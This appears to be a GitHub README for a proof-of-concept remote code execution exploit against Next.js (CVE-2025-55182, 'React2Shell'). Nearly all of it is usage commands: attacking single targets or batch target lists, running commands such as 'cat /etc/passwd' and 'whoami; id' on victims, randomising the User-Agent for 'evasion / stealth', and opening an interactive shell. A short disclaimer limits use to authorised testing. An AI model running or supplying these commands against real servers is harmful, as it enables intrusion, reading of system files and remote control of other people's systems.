
CVE-2025-55182 – React2Shell : Preuve de concept d'exploitation d'exécution de code à distance (RCE) pour les applications Next.js. Comprend une invite de shell interactive pour tester et démontrer la vulnérabilité en temps réel. À utiliser uniquement pour la recherche en sécurité et les tests d'intrusion autorisés.
Ce dépôt fournit une preuve de concept fonctionnelle pour CVE-2025-55182, une RCE affectant certains déploiements de Next.js. L'outil ouvre une invite de shell interactive lors de l'exploitation, permettant aux chercheurs en sécurité de tester et vérifier l'exploitabilité. Utilisez-le de manière responsable et uniquement sur des cibles autorisées.
# Getting Started
git clone https://github.com/M4xSec/CVE-2025-55182-React2Shell-RCE-Shell/
cd /CVE-2025-55182-React2Shell-RCE-Shell/
python3 CVE-2025-55182-exploit.py
# Single target (default mode)
python3 CVE-2025-55182-exploit.py -u http://target.com
# Target on localhost + specify callback / proxy URL (if applicable)
python3 CVE-2025-55182-exploit.py -u http://localhost:3000 -p http://127.0.0.1:8080
# Use HTTPS target and skip certificate verification (if applicable)
python3 CVE-2025-55182-exploit.py -u https://target.com -k
# Batch mode: supply list of targets (one per line)
python3 CVE-2025-55182-exploit.py -l targets.txt
# Custom command execution on target
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "id"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "uname -a" -v
# Provide additional headers if needed (e.g. custom cookies)
python3 CVE-2025-55182-exploit.py -u http://target.com -H "Cookie: session=abc123" --custom "ps aux"
# Batch + custom commands (multiple commands separated with semicolon)
python3 CVE-2025-55182-exploit.py -l targets.txt --custom "whoami; id; pwd"
# Only output the payload without executing (payload-only mode)
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd" --payload-only
# Use a random User-Agent header for evasion / stealth
python3 CVE-2025-55182-exploit.py -u http://target.com --random-agent
python3 CVE-2025-55182-exploit.py -l targets.txt --random-agent -k
# Interactive shell mode (if exploit succeeds)
python3 CVE-2025-55182-exploit.py -u http://target.com --shell